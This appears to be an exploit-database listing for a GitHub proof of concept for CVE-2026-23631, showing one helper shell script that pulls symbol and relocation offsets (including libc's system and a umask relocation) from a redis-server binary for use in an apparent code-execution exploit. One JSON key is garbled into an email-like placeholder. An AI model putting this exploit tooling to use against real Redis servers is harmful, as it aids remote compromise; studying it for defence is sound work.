Exploit database

GH-baa3752fd39e3895667c8fbc596488a3

yoyosh/darkreplica

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-23631

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files6
yoyosh/darkreplicaRevision e9861498c36a

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

extract_offsets.sh

Shell · 944 bytes
#!/bin/bash


find() {
    name="$1"

    matches="$(grep -P '\s'"$name"'(?:[\s@]|$)')"

    if [ "$(echo "$matches" | wc -l)" -ne 1 ]; then
        echo "Could not find symbol \"$name\" in $elf" >&2
        exit 1
    fi

    echo "$matches"
}

get_symbol() {
    elf="$1"
    name="$2"

    match="$(readelf -s "$elf" | find "$name")"
    echo "0x$(echo "$match" | awk '{print $2}')"
}

get_realloc() {
    elf="$1"
    name="$2"

    match="$(readelf -r "$elf" | find "$name")"
    echo "0x$(echo "$match" | awk '{print $1}')"
}


if [ "$#" -ne 2 ]; then
    echo "Usage: $0 <redis-server_elf> <libc_elf>" >&2
    exit 1
fi

redis_server="$1"
libc="$2"


cat <<EOF
{
    "redis-server": {
        "os_clock": $(get_symbol "$redis_server" os_clock),
        "[email protected]": $(get_realloc "$redis_server" umask),
    },

    "libc": {
        "umask": $(get_symbol "$libc" umask),
        "system": $(get_symbol "$libc" system),
    },
}
EOF